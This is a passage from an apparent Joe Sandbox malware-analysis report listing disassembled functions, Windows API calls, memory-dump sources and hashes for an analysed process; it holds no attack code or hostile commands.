                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$DriveNamePathTypeVolume
                                                    • String ID:
                                                    • API String ID: 1029679093-0
                                                    • Opcode ID: d45035a7c6ac09dbba50d0c00beb4f85e1cca4574d2ac4f31282f71e25618f1f
                                                    • Instruction ID: 7bd17e0f107bb623afc1e29bc8eaab457560ef446ef9b4703980a4563c7c0dac
                                                    • Opcode Fuzzy Hash: d45035a7c6ac09dbba50d0c00beb4f85e1cca4574d2ac4f31282f71e25618f1f
                                                    • Instruction Fuzzy Hash: EF315832705A818AEB308FA5D8943E967A0FB8AB88F444135CB8D8BB59DF3CD655C700
                                                    Function 00007FF6BF3FE810 Relevance: 6.1, APIs: 4, Instructions: 67fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: File$DeleteErrorLastWrite_get_osfhandle
                                                    • String ID:
                                                    • API String ID: 2448200120-0
                                                    • Opcode ID: 8b4da8a10e097a17451e285642832c13025bfbcfcba5fc9726ddc1af043f7f21
                                                    • Instruction ID: 2f2a9db72c984973d9e909d2c5dd86dee106281f413dc0c8a83f922306f97200
                                                    • Opcode Fuzzy Hash: 8b4da8a10e097a17451e285642832c13025bfbcfcba5fc9726ddc1af043f7f21
                                                    • Instruction Fuzzy Hash: D0216D31A18752C7E754ABA9A40027DBBA1FF84B81F044135EB0E8B7A6CF3CE451CB40
                                                    Function 00007FF6BF3E7CF8 Relevance: 6.1, APIs: 4, Instructions: 63memoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Heap$AllocProcess
                                                    • String ID:
                                                    • API String ID: 1617791916-0
                                                    • Opcode ID: 42f91e47f3ef5671c9468e2150952d512ccb49b47a4aa8ec2999c576e9d14cb8
                                                    • Instruction ID: b41c96e68d63fa7b4482f51987350c91e41226927270a93d77dd25c85692b660
                                                    • Opcode Fuzzy Hash: 42f91e47f3ef5671c9468e2150952d512ccb49b47a4aa8ec2999c576e9d14cb8
                                                    • Instruction Fuzzy Hash: 6A215671A18B4286EA049B99A91407A7BA1FF89BD0B549230DF1E877B6DF3CE4418760
                                                    Function 00007FF6BF3D6A48 Relevance: 6.1, APIs: 4, Instructions: 59memoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FF6BF3E3C24: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF6BF3E3D0C
                                                      • Part of subcall function 00007FF6BF3E3C24: towupper.MSVCRT ref: 00007FF6BF3E3D2F
                                                      • Part of subcall function 00007FF6BF3E3C24: iswalpha.MSVCRT ref: 00007FF6BF3E3D4F
                                                      • Part of subcall function 00007FF6BF3E3C24: towupper.MSVCRT ref: 00007FF6BF3E3D75
                                                      • Part of subcall function 00007FF6BF3E3C24: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6BF3E3DBF
                                                    • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3FEA0F,?,?,?,00007FF6BF3FE925,?,?,?,?,00007FF6BF3DB9B1), ref: 00007FF6BF3D6ABF
                                                    • RtlFreeHeap.NTDLL ref: 00007FF6BF3D6AD3
                                                      • Part of subcall function 00007FF6BF3D6B84: SetEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,00007FF6BF3D6AE8,?,?,?,00007FF6BF3FEA0F,?,?,?,00007FF6BF3FE925), ref: 00007FF6BF3D6B8B
                                                      • Part of subcall function 00007FF6BF3D6B84: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,00007FF6BF3D6AE8,?,?,?,00007FF6BF3FEA0F,?,?,?,00007FF6BF3FE925), ref: 00007FF6BF3D6B97
                                                      • Part of subcall function 00007FF6BF3D6B84: RtlFreeHeap.NTDLL ref: 00007FF6BF3D6BAF
                                                      • Part of subcall function 00007FF6BF3D6B30: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3D6AF1,?,?,?,00007FF6BF3FEA0F,?,?,?,00007FF6BF3FE925), ref: 00007FF6BF3D6B39
                                                      • Part of subcall function 00007FF6BF3D6B30: RtlFreeHeap.NTDLL ref: 00007FF6BF3D6B4D
                                                      • Part of subcall function 00007FF6BF3D6B30: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3D6AF1,?,?,?,00007FF6BF3FEA0F,?,?,?,00007FF6BF3FE925), ref: 00007FF6BF3D6B59
                                                    • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3FEA0F,?,?,?,00007FF6BF3FE925,?,?,?,?,00007FF6BF3DB9B1), ref: 00007FF6BF3D6B03
                                                    • RtlFreeHeap.NTDLL ref: 00007FF6BF3D6B17
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Heap$Process$Free$towupper$CurrentDirectoryEnvironmentFullNamePathStringsiswalpha
                                                    • String ID:
                                                    • API String ID: 3512109576-0
                                                    • Opcode ID: bc717c9a596d532be53730772a57c2b9eba5803a0bc99b3bfc1eed86634cc025
                                                    • Instruction ID: 9bac0c692f20e23be87300d78f2afaf9a1189021a476368770f28ccbfe96aecd
                                                    • Opcode Fuzzy Hash: bc717c9a596d532be53730772a57c2b9eba5803a0bc99b3bfc1eed86634cc025
                                                    • Instruction Fuzzy Hash: F7217465919A8286EB04DBAED4543B87BA0EF59B44F148035CB5E8B372DF3CE495C390
                                                    Function 00007FF6BF3DB6B0 Relevance: 6.1, APIs: 4, Instructions: 57memoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3DAF82), ref: 00007FF6BF3DB6D0
                                                    • HeapReAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3DAF82), ref: 00007FF6BF3DB6E7
                                                    • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3DAF82), ref: 00007FF6BF3DB701
                                                    • HeapSize.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3DAF82), ref: 00007FF6BF3DB715
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Heap$Process$AllocSize
                                                    • String ID:
                                                    • API String ID: 2549470565-0
                                                    • Opcode ID: 11430d80cb485e7b9ceb592bfe559dc550d55c3bb95ca86021ccd698df5acc4f
                                                    • Instruction ID: 031726a482344dcbfe23f02098fb1f1f864166407989c5b0d2b8990410462ab6
                                                    • Opcode Fuzzy Hash: 11430d80cb485e7b9ceb592bfe559dc550d55c3bb95ca86021ccd698df5acc4f
                                                    • Instruction Fuzzy Hash: 65212176A49782C7EA548B99E44007CBBA1FF88B80B489431DB4E87775DF3CE955C740
                                                    Function 00007FF6BF3FCFF0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF6BF3E507A), ref: 00007FF6BF3FD01C
                                                    • GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF6BF3E507A), ref: 00007FF6BF3FD033
                                                    • FillConsoleOutputAttribute.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF6BF3E507A), ref: 00007FF6BF3FD06D
                                                    • SetConsoleTextAttribute.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF6BF3E507A), ref: 00007FF6BF3FD07F
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Console$Attribute$BufferFillHandleInfoOutputScreenText
                                                    • String ID:
                                                    • API String ID: 1033415088-0
                                                    • Opcode ID: 45059cb2ee047cb232d20320cf03883d9ebc73042b8c9a2b0d276472751f5675
                                                    • Instruction ID: b5437d3cea7e7aabc01a5080efa8f20c7e4d1eb05b9f395f086e3c3949c6c9c3
                                                    • Opcode Fuzzy Hash: 45059cb2ee047cb232d20320cf03883d9ebc73042b8c9a2b0d276472751f5675
                                                    • Instruction Fuzzy Hash: 1511B232618A8287EB448B64F00417ABBE0FB9AB95F405135EB8E87BA5DF7CC0558B40
                                                    Function 00007FF6BF3D59E4 Relevance: 6.0, APIs: 4, Instructions: 45fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FF6BF3E1EA0: wcschr.MSVCRT(?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000,00000000,0000000A,?,00007FF6BF400D54), ref: 00007FF6BF3E1EB3
                                                    • CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6BF3D5A2E
                                                    • _open_osfhandle.MSVCRT ref: 00007FF6BF3D5A4F
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,00000000,00008000,?,00000001,00007FF6BF3D260D), ref: 00007FF6BF3F37AA
                                                    • CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF6BF3F37D2
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: CloseCreateErrorFileHandleLast_open_osfhandlewcschr
                                                    • String ID:
                                                    • API String ID: 22757656-0
                                                    • Opcode ID: 6f2d595de901b4657c2270727e019009ca61754dc2b8e6e3406c67fcea3533dc
                                                    • Instruction ID: ba5a32ecb94f87c62be89ef80ad38842f3170b68f51d180b6551e6e6da4ae8cc
                                                    • Opcode Fuzzy Hash: 6f2d595de901b4657c2270727e019009ca61754dc2b8e6e3406c67fcea3533dc
                                                    • Instruction Fuzzy Hash: 19119172A186458BE7504B68E44837D7BA0FB89B64F648334E72E873E1CF3CD4598B00
                                                    Function 00007FF6BF3F5690 Relevance: 6.0, APIs: 4, Instructions: 44memoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000028,00007FF6BF3F5433,?,?,?,00007FF6BF3F69B8,?,?,?,?,?,00007FF6BF3E8C39), ref: 00007FF6BF3F56C5
                                                    • RtlFreeHeap.NTDLL ref: 00007FF6BF3F56D9
                                                    • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000028,00007FF6BF3F5433,?,?,?,00007FF6BF3F69B8,?,?,?,?,?,00007FF6BF3E8C39), ref: 00007FF6BF3F56FD
                                                    • RtlFreeHeap.NTDLL ref: 00007FF6BF3F5711
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Heap$FreeProcess
                                                    • String ID:
                                                    • API String ID: 3859560861-0
                                                    • Opcode ID: 3558426be91c37f0606525c683e3d483ead9a8c3dc25e426f1ffeaf0c5774795
                                                    • Instruction ID: bb9f185c076fc9c7b98985f1e3528bfe7d43c90139eea9cf09b995a5d9bf0f2e
                                                    • Opcode Fuzzy Hash: 3558426be91c37f0606525c683e3d483ead9a8c3dc25e426f1ffeaf0c5774795
                                                    • Instruction Fuzzy Hash: 72114C72A04B81C6DB008F66E4040ACBBB0F75DF84B489135DB4E43728DF38E466C744
                                                    Function 00007FF6BF3E9158 Relevance: 6.0, APIs: 4, Instructions: 44COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
                                                    • String ID:
                                                    • API String ID: 140117192-0
                                                    • Opcode ID: c08ae526ada62f987d461bd82afd9432e1c3bf21ef9f50b7bdd1a09949af37b2
                                                    • Instruction ID: 1c6cc42aa002c6b19135167bd3562745b591ab02c72574cd3b1a997a08b8d1e2
                                                    • Opcode Fuzzy Hash: c08ae526ada62f987d461bd82afd9432e1c3bf21ef9f50b7bdd1a09949af37b2
                                                    • Instruction Fuzzy Hash: F321C035918B4281E7408BA8F880369B7B4FBA8B54F50003AEB8DC2776DFBDE458C700
                                                    Function 00007FF6BF3E4AD0 Relevance: 6.0, APIs: 4, Instructions: 33memoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3D8798), ref: 00007FF6BF3E4AD6
                                                    • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3D8798), ref: 00007FF6BF3E4AEF
                                                      • Part of subcall function 00007FF6BF3E4A14: GetEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,00007FF6BF3E49F1), ref: 00007FF6BF3E4A28
                                                      • Part of subcall function 00007FF6BF3E4A14: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3E49F1), ref: 00007FF6BF3E4A66
                                                      • Part of subcall function 00007FF6BF3E4A14: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3E49F1), ref: 00007FF6BF3E4A7D
                                                      • Part of subcall function 00007FF6BF3E4A14: memmove.MSVCRT(?,?,00000000,00007FF6BF3E49F1), ref: 00007FF6BF3E4A9A
                                                      • Part of subcall function 00007FF6BF3E4A14: FreeEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,00007FF6BF3E49F1), ref: 00007FF6BF3E4AA2
                                                    • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3D8798), ref: 00007FF6BF3EEE64
                                                    • RtlFreeHeap.NTDLL ref: 00007FF6BF3EEE78
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Heap$Process$AllocEnvironmentFreeStrings$memmove
                                                    • String ID:
                                                    • API String ID: 2759988882-0
                                                    • Opcode ID: 7a5c712774281da9825380d2707369d566eac4a7ff1e30a642231065effaaf4a
                                                    • Instruction ID: e0a6e1b835a3d80bf7a16a0bc519acdd3dda6da874c5048d31f663884f18d266
                                                    • Opcode Fuzzy Hash: 7a5c712774281da9825380d2707369d566eac4a7ff1e30a642231065effaaf4a
                                                    • Instruction Fuzzy Hash: 25F04970A19B4286EB449BBA9404178AFD1FF8EB41B49C034CE4E87361EE3CA8548320
                                                    Function 00007FF6BF3FF22C Relevance: 6.0, APIs: 4, Instructions: 20COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: ConsoleMode_get_osfhandle
                                                    • String ID:
                                                    • API String ID: 1606018815-0
                                                    • Opcode ID: 422b38324ae02b1855cf7ad64e97296a8d78d568ed733181d0d72e350d9743d9
                                                    • Instruction ID: 046dd15d2f87a79b4e1ef12c722c041f5a29a5871bef35b8662447acba87320a
                                                    • Opcode Fuzzy Hash: 422b38324ae02b1855cf7ad64e97296a8d78d568ed733181d0d72e350d9743d9
                                                    • Instruction Fuzzy Hash: 90F03036A28A42DBE7445B64E444279BF60FB9AB02F849234DB0F823A5DF7CD0188B40
                                                    Function 00007FF6BF4010D8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 180COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FF6BF3DCD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3DB9A1,?,?,?,?,00007FF6BF3DD81A), ref: 00007FF6BF3DCDA6
                                                      • Part of subcall function 00007FF6BF3DCD90: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3DB9A1,?,?,?,?,00007FF6BF3DD81A), ref: 00007FF6BF3DCDBD
                                                    • wcschr.MSVCRT(?,00000000,00000000,00000000,00000001,0000000A,?,00007FF6BF3F827A), ref: 00007FF6BF4011DC
                                                    • memmove.MSVCRT(?,00000000,00000000,00000000,00000001,0000000A,?,00007FF6BF3F827A), ref: 00007FF6BF401277
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Heap$AllocProcessmemmovewcschr
                                                    • String ID: &()[]{}^=;!%'+,`~
                                                    • API String ID: 1135967885-381716982
                                                    • Opcode ID: 889ed0e1ac931929da6aa725351c410d7e283b9244a42ae2ffb62b95a24414b6
                                                    • Instruction ID: 09dc9e408d25bac34f809080ded66c7f6c7bbdaa8e8f36ad1d20da2542b054f2
                                                    • Opcode Fuzzy Hash: 889ed0e1ac931929da6aa725351c410d7e283b9244a42ae2ffb62b95a24414b6
                                                    • Instruction Fuzzy Hash: 2F71C671A0824286E7608FADA4806B97BA4FFE9798F405235CB4DC7BB1CF7CA5418B00
                                                    Function 00007FF6BF3DE420 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 180COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FF6BF3E06C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3DB4DB), ref: 00007FF6BF3E06D6
                                                      • Part of subcall function 00007FF6BF3E06C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3DB4DB), ref: 00007FF6BF3E06F0
                                                      • Part of subcall function 00007FF6BF3E06C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3DB4DB), ref: 00007FF6BF3E074D
                                                      • Part of subcall function 00007FF6BF3E06C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3DB4DB), ref: 00007FF6BF3E0762
                                                      • Part of subcall function 00007FF6BF3DEF40: iswspace.MSVCRT(00000000,00000000,?,00000000,?,00007FF6BF3DE626,?,?,00000000,00007FF6BF3E1F69), ref: 00007FF6BF3DF000
